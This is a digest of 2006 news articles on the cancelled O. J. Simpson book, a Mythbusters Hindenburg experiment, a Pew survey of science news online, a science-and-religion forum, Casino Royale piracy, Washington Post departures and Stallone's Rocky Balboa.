Under Pressure, News Corp. Pulls Simpson Project
Bill Carter and Edward Wyatt

Bowing to intense pressure from both outside and inside the company, the News Corporation yesterday canceled its plans to publish a book and broadcast an interview with O. J. Simpson in which he was to give an account of how he might have murdered his former wife Nicole Brown Simpson and her friend Ronald L. Goldman.

The company was responding to a week’s worth of ferocious criticism. Critics called for boycotts of advertisers who might sponsor the television broadcast on the Fox network; numerous broadcast stations announced that they would refuse to carry the program; television hosts like Bill O’Reilly on the Fox News Channel — which, like Fox, is owned by the News Corporation — were vocal in their opposition to the telecast; and various bookstores said they might not stock the book, which was titled “If I Did It.” The book was to be published by ReganBooks, also owned by the News Corporation.

Rupert Murdoch, chairman of the News Corporation, issued a statement yesterday announcing that the interview would not be broadcast and the book not be published.

“I and senior management agree with the American public that this was an ill-considered project,” Mr. Murdoch said. “We are sorry for any pain this has caused the families of Ron Goldman and Nicole Brown Simpson.”

Any projects involving Mr. Simpson have met with public outrage in the 11 years since he was acquitted in a media-saturated murder trial. He was later found responsible for the deaths in a civil trial and ordered to pay $33.5 million in restitution to the victims’ families.

Mr. Simpson, a former football star and actor, moved from Los Angeles to Florida partly to protect his assets from that civil judgment. He has only occasionally appeared in public in recent years and has never stopped declaring himself innocent of the murder charges. A Florida lawyer representing Mr. Simpson could not be reached for comment yesterday.

Mr. Simpson told The Associated Press yesterday that he could not comment ”until I know legally where I stand.” He added, "’I would like nothing better than to straighten out some things that have been mischaracterized. But I think I’m legally muzzled at this point.”

The decision to cancel the twin Simpson projects was greeted with widespread expressions of relief. Michael Angelos, a vice president of Pappas Telecasting Companies, which told the network Friday that its four Fox-affiliated stations did not intend to broadcast the interview, released a statement calling the network’s decision “a victory for the people who spoke out.”

The statement concluded, “This special would have benefited only O. J. Simpson, who deserves nothing but contempt, and certainly no benefit.”

Numerous staff members at the News Corporation and the Fox network, all of whom spoke on the condition of anonymity because they had been ordered not to comment about the Simpson deal, said they were thankful the company had abandoned the project. A News Corporation executive said that internally the project had been considered a disaster for the company.

Another executive said that the company had badly miscalculated the public’s tolerance for anything having to do with Mr. Simpson, thinking enough time had passed for the public to consider him less a pariah.

Neither of the two top News Corporation executives would comment beyond yesterday’s statement. Mr. Murdoch was said to be in Australia on business and not available. A company spokesman said Peter A. Chernin, the president and the executive with direct authority over the Fox network, had no comment.

No one at the company would discuss on the record the exact details of how the project had been accepted in the first place. But one executive involved in the negotiations about the book and the television special said Mr. Murdoch had been aware of both deals before they were announced publicly last week.

The executive said in a telephone interview that payments to representatives of Mr. Simpson would probably still have to be made for his participation in the book and the television interviews.

Standard publishing contracts call for a percentage of an author’s advance, usually up to 50 percent, to be paid when a contract is signed, and for the remainder to be paid when the finished book is accepted by the publisher. The executive said Mr. Simpson’s book was covered by a standard publishing contract.

In an interview last week, Judith Regan, the publisher, said ReganBooks, an imprint of HarperCollins, had signed a contract with “a manager who represents a third party” who owned the rights to Mr. Simpson’s account.

Because the News Corporation and ReganBooks decided on their own to cancel the book and the television special, that money is likely to still have to be paid.

A spokesman said Ms. Regan declined to comment yesterday on the book’s withdrawal.

Erin Crum, a spokeswoman for HarperCollins, said some books had already been shipped to stores. Those books will be recalled and destroyed, Ms. Crum said.

Last Friday, Borders announced that it would donate the net proceeds from sales of Mr. Simpson’s book to a nonprofit organization for victims of domestic violence.

Ann Binkley, a spokeswoman for Borders, said she received a call from HarperCollins yesterday afternoon notifying her that the book would be recalled. No explanation was offered for the decision.

“I think everybody knows why,” Ms. Binkley said.

The rights to the book could still be sold to another publisher, said the News Corporation executive involved in the negotiations.

There is precedent for a recalled book to be sold to another publisher and then to the public. In 1990, Vintage Books, a division of Random House, bought the rights to “American Psycho,” a novel by Bret Easton Ellis, after the original publisher, Simon & Schuster, withdrew from publishing it because of the novel’s graphically violent content.

As for the television interview, it could also be offered to other outlets, although at least two other networks, ABC and NBC, have reported that they turned it down before it was accepted by Fox. Ms. Regan, who conducted the on-camera interview with Mr. Simpson and is presumed to own the rights to it, could still seek a sale to either a cable channel or even a pay-per-view company.

The fact that the interview already exists on tape, executives at Fox and News Corporation said, means it is likely to turn up somewhere, perhaps on the Internet.

But it will not show up on the Fox network, and that pleased many of those who had opposed the broadcast.

Scott Blumenthal, an executive vice president of the Lin Television Corporation, which had announced it would not broadcast the interview on its five Fox affiliates, said in a phone interview from the company’s headquarters in Providence, R.I.: “Our actions spoke for themselves. At this point, the discussion is moot. We just felt the program was inappropriate for our markets.”

Asked if he supported the cancellation of the interview by Fox, Mr. Blumenthal said, “Only Fox knows whether or not they did the right thing.”

Jacques Steinberg and Julie Bosman contributed reporting.
http://www.nytimes.com/2006/11/21/us... tner=homepage





OJ Confesses to Trying to Cash in on His Wife's Death
David Gardner

OJ Simpson has confessed he took "blood money" by trying to cash in on his notoriety over the gruesome murders of his ex-wife and her boyfriend.

The unrepentant former American football star made no apologies for the aborted book and TV deal in which he described how he hypothetically would have carried out the killings.

But he launched an astonishing attack on the family of one of the victims, Ron Goldman, accusing them of being "professional victims" duping the US public.

"It's all blood money and unfortunately I had to join the jackals," Simpson, 59, said after tycoon Rupert Murdoch scrapped the media deal following a worldwide wave of revulsion.

Adding that he saw the book "If I Did It" and accompanying TV interview as a way to provide for his children, he claimed: "It helped me get out of debt and secure my homestead. I've been pimped for 12 years. Everyone's made money on me."

Simpson said he deserved harsh criticism for his role in the project, but he complained that Rupert Murdoch escaped too lightly from the furore.

"I'm taking heat and I deserve it," he said. "But Murdoch should not be taking the high road either."

Although Simpson was controversially cleared by a criminal jury of murdering ex-wife Nicole and Goldman in 1994, he was ordered to pay more than £20 million to the victims’ families after being found liable for the deaths in a civil court the following year.

Simpson admitted he had already spent some of the reported £2 million fee on his tax bill. But none has gone to the Goldmans, who have publicly branded him a murderer and say they will pursue him "until his last day on this Earth."

Attacking the still grieving family yesterday, Simpson raged: "They have become professional victims. America, you're being duped by these people."

Simpson angrily denied committing the murders, disputed his own publisher's contention that the book amounts to a confession, insisted the title was not his idea, and said the hypothetical sections were written by his ghostwriter.

The Simpson book was shelved on Monday following the personal intervention of Rupert Murdoch, who owns publishers HarperCollins. The two-part interview on Murdoch’s Fox network in the US was also abandoned.

Andrew Butcher, spokesman for Murdoch’s parent company, News Corp., said £460,000 has already been paid to a third party in connection with the project and couldn’t be recouped because Simpson honoured his contract.

Of that amount, £52,000 supposedly went to the ghostwriter and the rest to Simpson’s children.

Trying to deflect continuing criticism for being in league with the disgraced star, he added: "Absolutely no money was ever given to OJ Simpson by us."

Simpson said he was convinced the book would have been a bestseller, adding that he desperately needs the cash because his retirement funds are dwindling.

Prepublication sales pushed "If I Did It" into the top ten on Amazon before it was cancelled. Now bids have reached as high as £40,000 a copy on eBay.

Simpson said he told publisher Judith Regan he wouldn’t allow publication if the book contained graphic descriptions of "cutting or stabbing."

He said he was not the killer. "I didn't do it. I made it clear I didn't do it. But I didn't doubt that Ms. Regan thought I did it," he said.
http://www.dailymail.co.uk/pages/liv...n_page_id=1770
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The Best Science Show on Television?
John Schwartz

“This is where we blow stuff up.”

Jamie Hyneman — who, to be honest, did not actually use the word “stuff” — stood in front of a two-story, blast-resistant ruin of a building at the back of the former Alameda Point Naval Air Station.

Mr. Hyneman and his colleague, Adam Savage, are the hosts of “Mythbusters” on the Discovery Channel. It may be the best science program on television, in no small part because it does not purport to be a science program at all. What “Mythbusters” is best known for, to paraphrase Mr. Hyneman, is blowing stuff up. And banging stuff together. And setting stuff on fire. The two men do it for fun and ratings, of course. But in a subtle and goofily educational way, they commit mayhem for science’s sake.

As the name implies, the program tests what the creators call myths, hypotheses taken from folklore, history, movies, the Internet and urban legends. Can a skunk’s smell can be neutralized with tomato juice? Did the Confederacy come up with a two-stage rocket that could strike Washington from Richmond, Va.? Can a sunken ship be raised with Ping-Pong balls? Could a car stereo be so loud that it would blow out the windows?

Mr. Hyneman and Mr. Savage, who produce Hollywood special effects and gadgets for a living, come up with ways to challenge each thesis and build experiments with a small crew. If fire and explosions or, say, rotting pig carcasses happen to be involved, well, that’s entertainment.

What they came here to do on a clear and crisp October morning, with San Francisco posing magnificently across the bay, was set the Hindenburg on fire. Three Hindenburgs, actually, to address a debate over what actually doomed the hydrogen-filled zeppelin on May 6, 1937, in Lakehurst, N.J. Hydrogen, of course, is highly flammable and was the obvious culprit in the disaster.

But a counterargument had arisen that the doping paint used to toughen the craft’s skin of fabric contained aluminum powder and other materials that combined to resemble an explosive called thermite. That, the theory goes, made the fabric as combustible as rocket fuel.

To test the theory, the “Mythbusters” crew built three 1/50-scale models over three days. Two had re-creations of the skin on the original craft, and a third — well, we’ll get to that one.

The three members of the “build team,” Tory Belleci, Kari Byron and Grant Imahara, were not on the set the day of the shoot, but a small video team was. Cameras captured the action from several angles. Mr. Savage had also placed one camera on the ground, facing up toward the mini-blimp, with tiny models of people placed nearby to mimic the newsreel scenes.

It was time to make a disaster happen. Mr. Hyneman stood by an open door of the building to manipulate a long pole with a gas torch that he used to ignite the mini-zeppelin, which was more than 10 feet long, hanging inside. Mr. Savage pinballed between peeking through the door and sitting under a canopy outside watching video monitors.

The first blimp, not filled with hydrogen, burned slowly at its tail end for a minute and a half and then foomph! Fire raced along its length in just a few seconds. Mr. Savage shouted, “Oh, my God, look how fast it’s going!”

“Say it again,” the sound man said, moving in closer.

“Oh, my God, look how fast it’s going through the top!” Mr. Savage exclaimed again. And then, as if forgetting that the camera was still rolling, added softly, “It’s so beautiful.”

After just two minutes, the spidery frame had been denuded, and acrid smoke poured from the open doors of the building. On the monitors, the replay eerily recalled the old newsreel footage.

It might not have turned out that way, of course. Part of what makes the show compelling for so many viewers is its unpredictability. “Once you get it going, whatever it does is what it does,” Mr. Hyneman said.

But, he said, “Whether we get what we expected or not, any result is a good result — even if it’s that we’re idiots.”

“Failure,” Mr. Savage said, “is always an option.”

Their delight in discovery for its own sake is familiar to most scientists, who welcome any result because it either confirms or debunks a hypothesis. That sense of things can be corrupted when grants or licensing deals are on the line. But the Mythbusters get paid whether their experiments succeed or fail.

The show, which has been on the air since October 2003, may be wacky, but Mr. Hyneman and Mr. Savage employ thinking and processes that are grounded in scientific method. They come up with a hypothesis and test it methodically. After research and experimentation, they might determine that they have “busted” a myth or confirmed it, or they might simply deem it “plausible” but not proved.

It is the kind of logical system of evidence-based conclusions that scientists understand but that others can sometimes find difficult to grasp. And so “Mythbusters” fans say the show has hit on a great way of teaching the process of scientific discovery.

David Wallace, an associate professor of mechanical engineering at M.I.T., praises the program for “getting people interested in engineering, technology and how things work.”

Dr. Wallace has sparred in a friendly way with Mr. Hyneman and Mr. Savage over Archimedes’ “death ray,” sunlight reportedly focused with mirrors by the ancient Greeks and used to burn ships in a harbor. The Mythbusters declared the death ray “busted” in 2004 after they were unable to start a fire with their version; Dr. Wallace and his class said they proved it plausible by burning a mock-up ship in 2005.

The “Mythbusters” group invited Dr. Wallace and his students to California to revisit the question under more rigorous conditions for an episode that ran earlier this year. Dr. Wallace’s group failed to ignite a real boat in the water at a distance of 150 feet, but did get it to ignite at 75 feet.

“I don’t think the ruling on a given myth is all that important,” Dr. Wallace said. “It is more about being curious and trying to figure things out.”

Another fan, Eric Sherman, a salesman in Chino Hills, Calif., said he used the show to help his children, ages 5 to 9, “value the scientific method and value thinking skills.”

Recently, when the children came home troubled because a playmate had told them she had a ghost in her room, Mr. Sherman turned the conversation into a lesson. “What would the Mythbusters do?” he asked.

Mr. Hyneman, however, insists that he and the “Mythbusters” team “don’t have any pretense of teaching science.” His wife, he noted, is a science teacher, and he knows how difficult that profession is. “If we tried to teach science,” he said, “the shows probably wouldn’t be successful.”

“If people take away science from it,” Mr. Hyneman said, “it’s not our fault.” But if the antics inspire people to dig deeper into learning, he said, “that’s great.”

Science teachers know a good thing when they see one, however: Mr. Hyneman and Mr. Savage were invited to speak at the annual convention of the National Science Teachers Association in March, and the California Science Teachers Association named Mr. Savage and Mr. Hyneman honorary lifetime members in October.

Back at the former air station, hydrogen was flowing through the second mini-zeppelin, and what happened left little doubt about the original disaster. The flaming gas blew the top out of the zeppelin and flowed upward in a sight even more chillingly reminiscent of the Lakehurst newsreels. The burn took half as long as the first. The hydrogen also appeared to have raised the temperature of the fire, causing more thermite reactions — seen as brilliant white sparks — than in the first test.

“The hydrogen’s helping,” Mr. Savage said. “To say that the hydrogen played no significant role is idiotic.”

He and Mr. Hyneman, standing next to a charred frame, quickly improvised dialogue for the cameras over a half-dozen takes. As far as they were concerned, the myth that the paint alone caused the tragedy was disproved, not just because of the appearance of the blaze but also because of its timing.

“It’s busted,” Mr. Savage said of the myth. Mr. Hyneman added, however, that “the cloth did have something to do with it.”

Mr. Hyneman would be instantly recognizable to anyone who watches the show. He is a study in manly fussiness, with the brushy mustache and the beret, the stylish eyeglasses and the immaculate white shirt over a black long-sleeve T-shirt, and the heavy work boots. His puckish colleague wore a leather jacket over a black T-shirt that read “Am I missing an eyebrow?” — a comment he made in an early episode after wayward pyrotechnics singed him.

They are buddy-movie mismatched, the straight man and the goofy guy, Superego and Id, Martin and Lewis. On the wall at Mr. Hyneman’s company, M5 Industries, a sign expresses his own forcefully precise and orderly nature: “Clean up or die.”

“When we work together, he’s generally leaving a wake of destruction in his path,” Mr. Hyneman grumbled. “Considering it’s my shop and my equipment, it’s irritating.”

They are, in fact, so different that Mr. Hyneman said, “We don’t even like each other.” Although they have worked together for 13 years, they don’t socialize: “We don’t hang out with each other any more than we have to.”

At the same time, he said, their differences allow them to approach each problem from a different perspective. “I find myself feeling out of balance or awkward without him there to bounce things off of,” he said.

The third Hindenburg experiment would theoretically test the notion that the original craft’s fabric had been treated with a thermite-like substance. The crew had mixed about 15 pounds of actual thermite, which is highly explosive, into the fabric.

For this test, no one was allowed near the building. Yellowish brown smoke billowed out and tore at throats and burned eyes. On the monitors, the flames were blindingly bright. White sparks were thrown far and wide. It was all over in moments.

The purpose of the third burn — aside from an excuse to have a truly awesome conflagration — was to suggest what the Hindenburg might have looked like if the chemicals used to coat its skin had actually been thermite instead of a chemical cousin. “The skin of the Hindenburg was not coated in 100 pounds of thermite,” Mr. Hyneman said. Mr. Savage watched the replay again. “Dude, there’s no doubt that does not look like the Hindenburg.”

The sun was setting as they finished the day’s shoot. Mr. Savage’s face was smudged, and both men seemed exhausted. Mr. Hyneman and Mr. Savage set fire to the remaining tub of thermite paint for the cameras, and then the crew packed up.

Earlier in the day, Mr. Hyneman said that he sometimes worried about “glorifying explosions,” which could send the wrong message to young and impressionable viewers. “If I had my druthers, we wouldn’t be blowing stuff up,” he said.

Mr. Savage appeared behind him. “But then we wouldn’t have a show,” he said with a cackle, and darted away.
http://www.nytimes.com/2006/11/21/sc...myth.html?8dpc





Internet Ranks No. 2 for Science News
Anick Jesdanun

The Internet ranks behind only television as the leading source for science news and information, but most users won't trust what they read online blindly, a new study finds.

The Pew Internet and American Life Project said in a report Monday that 20 percent of Americans obtain most of their science information from the Internet, compared with 41 percent who cited television. Newspapers and magazines were each credited by 14 percent, and radio by 4 percent.

The gap disappears among users of high-speed Internet connections at home, with 34 percent saying they turn to the Internet most of the time, and 33 percent citing television.

About 80 percent of those who get science information online try to check its accuracy elsewhere - another online source, offline resources or the original study - and many of them use more than one alternative.

Only 13 percent say they turn to the Internet primarily for its accuracy. Most do so because they consider it convenient.

Americans, however, rely more on the Internet for science news than general news, Pew found.

While the Internet ranked second behind television for science news, it was behind local and national television, radio and the local paper as the typical source for general news. It beat only national newspapers. (The questions in the science survey did not split TV and newspapers into local and national.)

"There's a lot of good scientific content out there," said John Horrigan, Pew's associate director. The Internet was "initially about science and engineers talking to each other. That community has a historical head start in terms of getting information online that's useful to science consumers."

Some 87 percent of Internet users have looked up science information online at one point or another, and two-thirds say they have stumbled upon science news when they logged on for another reason.

The study was based on telephone surveys of 1,447 Internet users conducted Jan. 9-Feb. 6. It has a margin of sampling error of plus or minus 3 percentage points.
http://hosted.ap.org/dynamic/stories...11-20-20-37-33





A Free-for-All on Science and Religion
George Johnson

Maybe the pivotal moment came when Steven Weinberg, a Nobel laureate in physics, warned that “the world needs to wake up from its long nightmare of religious belief,” or when a Nobelist in chemistry, Sir Harold Kroto, called for the John Templeton Foundation to give its next $1.5 million prize for “progress in spiritual discoveries” to an atheist — Richard Dawkins, the Oxford evolutionary biologist whose book “The God Delusion” is a national best-seller.

Or perhaps the turning point occurred at a more solemn moment, when Neil deGrasse Tyson, director of the Hayden Planetarium in New York City and an adviser to the Bush administration on space exploration, hushed the audience with heartbreaking photographs of newborns misshapen by birth defects — testimony, he suggested, that blind nature, not an intelligent overseer, is in control.

Somewhere along the way, a forum this month at the Salk Institute for Biological Studies in La Jolla, Calif., which might have been one more polite dialogue between science and religion, began to resemble the founding convention for a political party built on a single plank: in a world dangerously charged with ideology, science needs to take on an evangelical role, vying with religion as teller of the greatest story ever told.

Carolyn Porco, a senior research scientist at the Space Science Institute in Boulder, Colo., called, half in jest, for the establishment of an alternative church, with Dr. Tyson, whose powerful celebration of scientific discovery had the force and cadence of a good sermon, as its first minister.

She was not entirely kidding. “We should let the success of the religious formula guide us,” Dr. Porco said. “Let’s teach our children from a very young age about the story of the universe and its incredible richness and beauty. It is already so much more glorious and awesome — and even comforting — than anything offered by any scripture or God concept I know.”

She displayed a picture taken by the Cassini spacecraft of Saturn and its glowing rings eclipsing the Sun, revealing in the shadow a barely noticeable speck called Earth.

There has been no shortage of conferences in recent years, commonly organized by the Templeton Foundation, seeking to smooth over the differences between science and religion and ending in a metaphysical draw. Sponsored instead by the Science Network, an educational organization based in California, and underwritten by a San Diego investor, Robert Zeps (who acknowledged his role as a kind of “anti-Templeton”), the La Jolla meeting, “Beyond Belief: Science, Religion, Reason and Survival,” rapidly escalated into an invigorating intellectual free-for-all. (Unedited video of the proceedings will be posted on the Web at tsntv.org.)

A presentation by Joan Roughgarden, a Stanford University biologist, on using biblical metaphor to ease her fellow Christians into accepting evolution (a mutation is “a mustard seed of DNA”) was dismissed by Dr. Dawkins as “bad poetry,” while his own take-no-prisoners approach (religious education is “brainwashing” and “child abuse”) was condemned by the anthropologist Melvin J. Konner, who said he had “not a flicker” of religious faith, as simplistic and uninformed.

After enduring two days of talks in which the Templeton Foundation came under the gun as smudging the line between science and faith, Charles L. Harper Jr., its senior vice president, lashed back, denouncing what he called “pop conflict books” like Dr. Dawkins’s “God Delusion,” as “commercialized ideological scientism” — promoting for profit the philosophy that science has a monopoly on truth.

That brought an angry rejoinder from Richard P. Sloan, a professor of behavioral medicine at Columbia University Medical Center, who said his own book, “Blind Faith: The Unholy Alliance of Religion and Medicine,” was written to counter “garbage research” financed by Templeton on, for example, the healing effects of prayer.

With atheists and agnostics outnumbering the faithful (a few believing scientists, like Francis S. Collins, author of “The Language of God: A Scientist Presents Evidence for Belief,” were invited but could not attend), one speaker after another called on their colleagues to be less timid in challenging teachings about nature based only on scripture and belief. “The core of science is not a mathematical model; it is intellectual honesty,” said Sam Harris, a doctoral student in neuroscience and the author of “The End of Faith: Religion, Terror and the Future of Reason” and “Letter to a Christian Nation.”

“Every religion is making claims about the way the world is,” he said. “These are claims about the divine origin of certain books, about the virgin birth of certain people, about the survival of the human personality after death. These claims purport to be about reality.”

By shying away from questioning people’s deeply felt beliefs, even the skeptics, Mr. Harris said, are providing safe harbor for ideas that are at best mistaken and at worst dangerous. “I don’t know how many more engineers and architects need to fly planes into our buildings before we realize that this is not merely a matter of lack of education or economic despair,” he said.

Dr. Weinberg, who famously wrote toward the end of his 1977 book on cosmology, “The First Three Minutes,” that “the more the universe seems comprehensible, the more it also seems pointless,” went a step further: “Anything that we scientists can do to weaken the hold of religion should be done and may in the end be our greatest contribution to civilization.”

With a rough consensus that the grand stories of evolution by natural selection and the blossoming of the universe from the Big Bang are losing out in the intellectual marketplace, most of the discussion came down to strategy. How can science fight back without appearing to be just one more ideology?

“There are six billion people in the world,” said Francisco J. Ayala, an evolutionary biologist at the University of California, Irvine, and a former Roman Catholic priest. “If we think that we are going to persuade them to live a rational life based on scientific knowledge, we are not only dreaming — it is like believing in the fairy godmother.”

“People need to find meaning and purpose in life,” he said. “I don’t think we want to take that away from them.”

Lawrence M. Krauss, a physicist at Case Western Reserve University known for his staunch opposition to teaching creationism, found himself in the unfamiliar role of playing the moderate. “I think we need to respect people’s philosophical notions unless those notions are wrong,” he said.

“The Earth isn’t 6,000 years old,” he said. “The Kennewick man was not a Umatilla Indian.” But whether there really is some kind of supernatural being — Dr. Krauss said he was a nonbeliever — is a question unanswerable by theology, philosophy or even science. “Science does not make it impossible to believe in God,” Dr. Krauss insisted. “We should recognize that fact and live with it and stop being so pompous about it.”

That was just the kind of accommodating attitude that drove Dr. Dawkins up the wall. “I am utterly fed up with the respect that we — all of us, including the secular among us — are brainwashed into bestowing on religion,” he said. “Children are systematically taught that there is a higher kind of knowledge which comes from faith, which comes from revelation, which comes from scripture, which comes from tradition, and that it is the equal if not the superior of knowledge that comes from real evidence.”

By the third day, the arguments had become so heated that Dr. Konner was reminded of “a den of vipers.”

“With a few notable exceptions,” he said, “the viewpoints have run the gamut from A to B. Should we bash religion with a crowbar or only with a baseball bat?”

His response to Mr. Harris and Dr. Dawkins was scathing. “I think that you and Richard are remarkably apt mirror images of the extremists on the other side,” he said, “and that you generate more fear and hatred of science.”

Dr. Tyson put it more gently. “Persuasion isn’t always ‘Here are the facts — you’re an idiot or you are not,’ ” he said. “I worry that your methods” — he turned toward Dr. Dawkins — “how articulately barbed you can be, end up simply being ineffective, when you have much more power of influence.”

Chastened for a millisecond, Dr. Dawkins replied, “I gratefully accept the rebuke.”

In the end it was Dr. Tyson’s celebration of discovery that stole the show. Scientists may scoff at people who fall back on explanations involving an intelligent designer, he said, but history shows that “the most brilliant people who ever walked this earth were doing the same thing.” When Isaac Newton’s “Principia Mathematica” failed to account for the stability of the solar system — why the planets tugging at one another’s orbits have not collapsed into the Sun — Newton proposed that propping up the mathematical mobile was “an intelligent and powerful being.”

It was left to Pierre Simon Laplace, a century later, to take the next step. Hautily telling Napoleon that he had no need for the God hypothesis, Laplace extended Newton’s mathematics and opened the way to a purely physical theory.

“What concerns me now is that even if you’re as brilliant as Newton, you reach a point where you start basking in the majesty of God and then your discovery stops — it just stops,” Dr. Tyson said. “You’re no good anymore for advancing that frontier, waiting for somebody else to come behind you who doesn’t have God on the brain and who says: ‘That’s a really cool problem. I want to solve it.’ ”

“Science is a philosophy of discovery; intelligent design is a philosophy of ignorance,” he said. “Something fundamental is going on in people’s minds when they confront things they don’t understand.”

He told of a time, more than a millennium ago, when Baghdad reigned as the intellectual center of the world, a history fossilized in the night sky. The names of the constellations are Greek and Roman, Dr. Tyson said, but two-thirds of the stars have Arabic names. The words “algebra” and “algorithm” are Arabic.

But sometime around 1100, a dark age descended. Mathematics became seen as the work of the devil, as Dr. Tyson put it. “Revelation replaced investigation,” he said, and the intellectual foundation collapsed.

He did not have to say so, but the implication was that maybe a century, maybe a millennium from now, the names of new planets, stars and galaxies might be Chinese. Or there may be no one to name them at all.

Before he left to fly back home to Austin, Dr. Weinberg seemed to soften for a moment, describing religion a bit fondly as a crazy old aunt.

“She tells lies, and she stirs up all sorts of mischief and she’s getting on, and she may not have that much life left in her, but she was beautiful once,” he lamented. “When she’s gone, we may miss her.”

Dr. Dawkins wasn’t buying it. “I won't miss her at all,” he said. “Not a scrap. Not a smidgen.”
http://www.nytimes.com/2006/11/21/sc...0&ei=5087%0 A





Pirates Plunder New Bond Flick

The new James Bond film Casino Royale has already been illegally downloaded from the web 200,000 times, an internet monitoring company has revealed.

After its opening night on Thursday, two pirated versions were available for free access on public file sharing networks over the weekend.

The first, apparently from Russia, featured video apparently shot on camcorder over the heads of a cinema audience and featuring a poor quality soundtrack and was on the web late on Friday.

By Saturday morning, a higher quality copy, possibly from Italy, went online.

Dr David Price, head of piracy intelligence at Envisional said: "In the face of this international conspiracy, Bond is really up against it."

"There are now several million active digital pirates. Many of them are ordinary families that have got into the habit of downloading the latest episodes of American TV hits. And they don't have any qualms about using file sharing networks to copy new movies without paying," he added.

Envisional said pirate DVDs were reported in London and Scotland last week but the scale of the threat from online piracy was far greater because the downloads were effectively free and accessible from anywhere in the world.
http://www.itv.com/news/entertainmen...46f23c06b.html





Washington Post Reporters to Join Politics Web Site
Katharine Q. Seelye

The Washington Post, which has long prided itself on the depth and breadth of its coverage of national politics, lost two of its top political reporters yesterday to a fledgling multiplatform news organization, albeit one with deep pockets.

John Harris, The Post’s political editor, and Jim VandeHei, a national political reporter, said yesterday that they were leaving The Post to join Allbritton Communications to create an Internet-focused news organization, as yet unnamed, that will include a politics-only Web site. It will be affiliated with the company’s new newspaper in Washington, The Capitol Leader, which is to start print publication in January.

The departures were in the works before The Post, which like many other newspapers is experiencing a drop in circulation and advertising revenue, announced last week that it was making sweeping changes in its newsroom staff.

Mr. Harris, 43, will be editor in chief and Mr. VandeHei, 35, will be executive managing editor of the paper and of the overall venture, said Frederick J. Ryan Jr., president of Allbritton, which also owns local television and cable stations.

The two journalists are also forming a partnership with CBS News and plan to make regular appearances on morning and evening news programs and on “Face the Nation” on Sunday.

Mr. Ryan said the company would soon be hiring a handful of other well-known journalists.

The departures disrupt plans at The Post to expand its political coverage and capitalize on an intense interest in politics with the Democratic takeover on Capitol Hill and the 2008 presidential campaign.

“We had hoped that John Harris and Jim VandeHei would help lead this effort on the Web,” Leonard Downie Jr., The Post’s executive editor, and Philip Bennett, the managing editor, wrote in a memorandum yesterday to the staff. They said they planned to “reconfigure” the role of the paper’s political editor and would be seeking new political reporters for the national staff and for the Web site.

The Post lost another member of its team last week when David von Drehle, a longtime Post writer and editor who was to become the lead political writer for the Style section, announced he was leaving to become a national correspondent for Time magazine.

It is too soon to say whether the departures of Mr. Harris and Mr. VandeHei are early evidence of a migration by veteran print journalists away from ink-on-paper reporting.

“No one should interpret this as people are taking flight from the old media,” Mr. Harris said. “This is a time, obviously, of change and unquestionable anxiety for the news business as a whole, but neither of us felt anxiety about our roles or pessimism about the robust future of The Post.”

Mr. VandeHei, who said he got 95 percent of his news online, said he was not sure if the departures signaled a coming trend, but said: “From the number of big-name journalists I heard from today, I can say there’s a huge appetite for what we’re doing.”

Mr. Ryan said the future was in a multiplatform approach to news, “without the baggage of a long-term print institution.”

He said the idea originated in discussions with Mr. VandeHei, whom The Capitol Leader had approached about joining the newspaper. As it happened, Mr. VandeHei and Mr. Harris had been talking with each other about what it would be like to start a multiplatform news organization with top journalists from scratch.

“This is not a statement about The Post,” Mr. VandeHei said. “It’s about having a rare opportunity to be given what it takes to build your dream news organization.”
http://www.nytimes.com/2006/11/21/bu...ia/21post.html





Yo, Rocky, or Rambo, Gonna Fly Now at 60
Allison Hope Weiner

When Sylvester Stallone first started talking about bringing Rocky Balboa out of a 16-year retirement for the character’s sixth turn, even his wife saw humiliation and embarrassment ahead. Then there were the countless studio chiefs who advised Mr. Stallone that at 60 he was not exactly a magnet for young moviegoers.

“People were saying the parade had gone by, and who was I to try and bring it back again?” Mr. Stallone said during a phone interview last week. “I just felt that I’ve had a lot of regrets in the past 15 years, and I had to go back and rid myself of this regret.”

So he took his shot when Revolution Studios agreed to join MGM in making “Rocky Balboa,” even while knowing that the film — about a washed up champion who insists on a last, doomed chance at a younger man’s game — would inevitably become a metaphor for his own fading career.

“An artist dies twice, and the second death is the easiest one,” Mr. Stallone said in speaking of his long fall from Hollywood’s pinnacle. “The artistic death, the fact you are no longer pertinent — or that you’re deemed someone whose message or talent has run its course — is a very, very tough piece of information to swallow.”

Set for release on Dec. 22, the new movie — written and directed by and starring Mr. Stallone — is not so much about a comeback as about eking the last ounce of potential from a once-great talent. In much the same spirit, Mr. Stallone, who has made little impression at the box office since his modest hit with “Cop Land” in 1997, has also agreed to revive the angry Vietnam veteran John Rambo, another trademark character, with a “Rambo IV,” due sometime in the next two years.

By resurrecting characters born decades ago — the original “Rocky” swept him to stardom in 1976, as Jimmy Carter was preparing to take office — Mr. Stallone may well rally some support from baby boomers who are similarly reluctant to leave the stage. But the gambit also leaves Mr. Stallone and his collaborators considerably exposed.

“We won an Academy Award for ‘Rocky’ and sent all our kids through college, and it means a lot to us,” said Irwin Winkler, a producer of the original film and an executive producer of the new one. “We didn’t want to be embarrassed. Even after we’d finished the picture and knew it was good, we worried about whether it was an easy target for jokes.”

In “Rocky Balboa,” which has begun screening for the press, Mr. Stallone seeks to undercut the absurdity of pitting an ancient boxer against a young champion by casting the showcase bout as an exhibition fight, and by approaching the script with self-awareness and humor. “They’re playing around with the fact that he’s an old guy coming back, joking about it, and that works well,” said Peter Sealey, a former film executive who is now a professor of marketing at University of California, Berkeley. “I think this one has a shot.”

Mr. Stallone has also tried to widen Rocky’s audience by going virtual. Rocky is drawn back to the ring after a national sports show features a digital boxing match between Rocky Balboa and the current champ, Mason (the Line) Dixon. “It’s a high-technology, Google-blogging, iMac-type of premise going on there mixed with the classic underdog versus the establishment,” offered Mr. Sealey.

But the story’s drive comes from its obvious attempt to grapple with irrelevance. “Maybe you’re doing your job, but why do you got to stop me from doing mine?” the superannuated Rocky demands at one point of boxing commissioners who are reluctant to license him.

“This movie is about a man who doesn’t feel he’s all washed up because he’s 60 years old,” Mr. Winkler said. “And about a man who doesn’t feel he should be ignored or will be ignored because he’s getting on with his life.”

Mr. Stallone, whose brightest spots lately have been a turn as the toymaker in “Spy Kids 3-D: Game Over” and his appearances on the reality boxing show “The Contender,” acknowledges that there were very few real film projects for him before “Rocky Balboa.”

But he was not yet ready to accept obsolescence, even if that meant risking ridicule by turning back to the past. “Every generation runs its course, and they are expected to step aside for the next generation,” Mr. Stallone said. “My peers are going through it right now, and they feel they have much to contribute, but the opportunity is no longer there. They’re considered obsolete, and it’s just not true. This film is about how we still have something more to say.”
http://www.nytimes.com/2006/11/21/movies/21sly.html





